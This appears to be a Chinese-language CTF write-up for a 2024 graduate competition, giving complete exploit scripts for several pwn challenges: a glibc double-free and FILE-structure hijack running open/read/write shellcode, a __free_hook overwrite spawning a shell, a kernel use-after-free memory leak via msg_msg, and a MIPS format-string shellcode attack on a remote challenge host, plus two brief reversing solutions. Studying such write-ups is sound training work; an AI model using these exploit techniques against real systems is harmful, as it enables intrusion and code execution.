跳到主要内容

研究生赛初赛2024WP

· 阅读需 5 分钟
MuelNova
Pwner who wants to write codes.

出题质量感觉好低,pwn 感觉全非预期了。

一题低版本 IO,一题 2.31 double free,一题 kernel UAF,一题 mips fmt

pwn

stack_and_heap

应该是非预期了。add 不会到 0 可以无限加

打了 fastbin + IO

from pwno import *

sh = gen_sh()

sl(b'A')

def menu(idx: int):
sla(b'>>eciohc ruoy\n', str(idx).encode())


def add(size: int, content: bytes = None):
menu(1)
sla(b'?ezis\n', str(size).encode())
if content:
sla(b'?tnetnoc\n', content)

def show(idx: int):
menu(2)
sla(b'?xedni', str(idx).encode())
recvu(b'?ereh\n')

def delete(idx: int):
menu(3)
sla(b'?xedni', str(idx).encode())


add(0x60, b'A') # 7
add(0x60, b'A') # 6
add(0x7f, b'A') # 5

delete(7)
delete(6)
delete(7)

show(7)
heap = uu64(recvu(b'\n', drop=True)) - 0x70
success(heap)

add(0xf0, b'C') # 4
add(0x60, p64(0x6020b0-4)) # 3
add(0x60, b'B') # 2
add(0x60, b'B') # 1
add(0x60, b'A'*4 + p32(0) + p32(0xf0000000)) # 0
add(0x10, b'pad') # 0

delete(4)
show(4)
libc.address = uu64(recv(6)) - 0x3c4b78
success(libc.address)

# shellcode -> vtable -> io

sc = shellcraft.openat(-100, 'flag', 0)
sc += shellcraft.read('rax', 'rsp', 100)
sc += shellcraft.write(1, 'rsp', 100)
sc = asm(sc)

add(0xff, sc) # heap + 0x2a0

vtable = p64(0) * 3 + p64(libc.sym['setcontext'] + 53)

add(0xff, vtable) # heap + 0x3b0

IO = IO_FILE_plus()
IO._mode = 0
IO._IO_write_base = 0
IO._IO_write_ptr = 1
IO.vtable = heap + 0x3b0

io = bytes(IO)
# mprotect(heap, 0x1000, 7);
io = io[:0xa0] + p64(heap + 0x5f0) + io[0xa8:] # rsp
io = io[:0xa8] + p64(libc.sym['mprotect']) + io[0xb0:] # retn
io = io[:0x68] + p64(heap & ~(0xfff)) + io[0x70:] # rdi
io = io[:0x70] + p64(0x1000) + io[0x78:] # rsi
io = io[:0x88] + p64(0x7) + io[0x90:] # rdx

add(0xff, io) # heap + 0x4c0

add(0xff, p64(heap + 0x2a0)*(0xf8 // 8)) # heap + 0x5d0 <-> new rsp

delete(2)
delete(1)
delete(2)

add(0x60, p64(libc.sym['_IO_list_all'] - 0x23))
add(0x60, b'A')
add(0x60, b'A')
add(0x60, b'A' * 0x13 + p64(heap + 0x4c0))
dbg()
menu(5)
ia()

cancanneed_new

感觉也像非预期,没用到 666

直接打 freehook,因为 delete 的 check 在 free 之后,add 的 check 在 malloc 之前,所以完全没用

from pwno import *

sh = gen_sh()


def menu(idx: int):
sla(b'Your Choice: \n', str(idx).encode())


def add(size: int, content: bytes = None):
menu(1)
sla(b'have:\n', str(size).encode())
if content:
sa(b'Content:\n', content)

def show(idx: int):
menu(4)
sla(b'idx:\n', str(idx).encode())
recvu(b'info:\n')

def delete(idx: int):
menu(2)
sla(b'idx:\n', str(idx).encode())

def edit(idx: int, content: bytes):
menu(3)
sla(b'idx:\n', str(idx).encode())
sa(b'want?\n', content)

show(-0x9)
libc.address = uu64(recv(6)) - 0x1ed5c0
success(libc.address)

add(0x60, b'A')
add(0x60, b'A')
add(0x60, b'/bin/sh\x00')

delete(0)
delete(1)

edit(1, p64(libc.sym['__free_hook']))
add(0x60, b'A')
add(0x60, p64(libc.sym['system']))

delete(2)

sl('cat /flag')
ia()

kernel_network

感觉也是非预期...

裸的 UAF,直接 msg_msg 读内存即可?

#include "kernelpwn.h"

size_t get_addr()
{

FILE *fp;
char buffer[256];
unsigned long address = 0;

// 打开 lsmod 命令
fp = popen("lsmod", "r");
if (fp == NULL) {
perror("popen failed");
return 1;
}

// 读取输出
while (fgets(buffer, sizeof(buffer), fp) != NULL) {
// 查找包含 "net" 的行
if (strstr(buffer, "net") != NULL) {
// 查找地址部分
char *addr_str = strstr(buffer, "0x");
if (addr_str != NULL) {
sscanf(addr_str, "%lx", &address); // 读取十六进制地址
printf("Found address: 0x%lx\n", address);
break; // 找到后退出
}
}
}

// 关闭文件指针
pclose(fp);
return address;


}


int main()
{
int ret = 0;
setvbuf(stdout,_IONBF,0,0);
setvbuf(stderr,_IONBF,0,0);
save_status();
bind_core(0);

size_t net_module = get_addr();
printf("[+] net_module: %lx\n",net_module);
if((dev_fd = open("/dev/test",O_RDWR))<0)
{
err_exit("open device");
}

int dev_fd2,dev_fd3;
if((dev_fd2 = open("/dev/test",O_RDWR))<0)
{
err_exit("open device");
}

if((dev_fd3 = open("/dev/test",O_RDWR))<0)
{
err_exit("open device");
}
ioctl(dev_fd,0,0x1000);

size_t buf[0x400] = {0};
int msg_que = get_msg_queue();


memset(buf,"BBBBBBBB",8);
close(dev_fd2);
ret = write_msg(msg_que,buf,0x1000-0x30,1);
if(ret<0)
err_exit("asd");


buf[0] = 0;
buf[1] = 0;
buf[2] = 1;
buf[3] = 0x1020;
buf[4] = net_module+0xa90;
write(dev_fd,buf,0x40);


memset(buf,0,0x1020);
ret = peek_msg(msg_que,buf,0x1080,0);
if(ret < 0)
err_exit("ddd");
logd("len: %d",ret);
hexdump((char*)buf+0xfd0,0x80);


return 0;
}

mips_fmt

裸的 mips fmt,mips 栈可执行直接 shellcode

shellcraft 出来的太长了会把返回地址覆盖了,人为改了一下

本地栈地址和远程不一样,调了半天

from pwno import *

context.arch = 'mips'
context.endian = 'big'
sh = process(['qemu-mips', '-g', '1234', './pwn'])
sh = remote("192.168.18.27", 9999)
# ia()

# real_stack = 0x2b2aa4a0
real_stack = 0x76fffd90

retn = real_stack - 4
success(retn)
sc = real_stack - 0x20

for i in range(4):
payload = p32(retn + 3 - i)
payload += f'%{ ((sc >> i*8) - 4) & 0xff }c'.encode()
payload += b'%6$hhn'
sla(b'>> ', payload)

payload = p32(retn + 3)
payload += f'%{ (sc - 4) & 0xff }c'.encode()
payload += b'%6$hhn'
sla(b'>> ', payload)

payload = b'\x00'*4
payload += b'/bin/sh\x00'
sc = """
la $a0,-36($sp)
addiu $a1, $zero, 0
addiu $a2, $zero, 0
addiu $v0, $zero, 4011

syscall

"""

# print(asm(sc))

# payload += asm(sc)
payload += b"'\xa4\xff\xdc$\x05\x00\x00$\x06\x00\x00$\x02\x0f\xab\x00\x00\x00\x0c"


sla(b'>> ', payload)
sa(b'>> ', b'exit')

ia()

re

ezhtml

用 ghidra + wasm plugin 即可反编译

一个异或

s = [ 0x45, 0x42, 0x50, 0x47, 0x52, 0x4d, 0x7c, 0x56, 0x45, 0x39, 0x42, 0x5d, 0x51, 0x35, 0x53, 0x62, 0x34, 0x76, 0x4a, 0x5e, 0x32, 0x7c, 0x5a, 0x6f, 0x55, 0x5b, 0x74, 0x3f, 0x53, 0x69, 0x44, 0x66, 0x39, 0x43, 0x78 ]

for i in range(0x22, -1, -1):
s[i] = s[i] ^ s[(i+1) % 0x23] & 0xf

print("".join(chr(i) for i in s))

Blackjack

直接动调 setip 到 win 的地方即可

Loading Comments...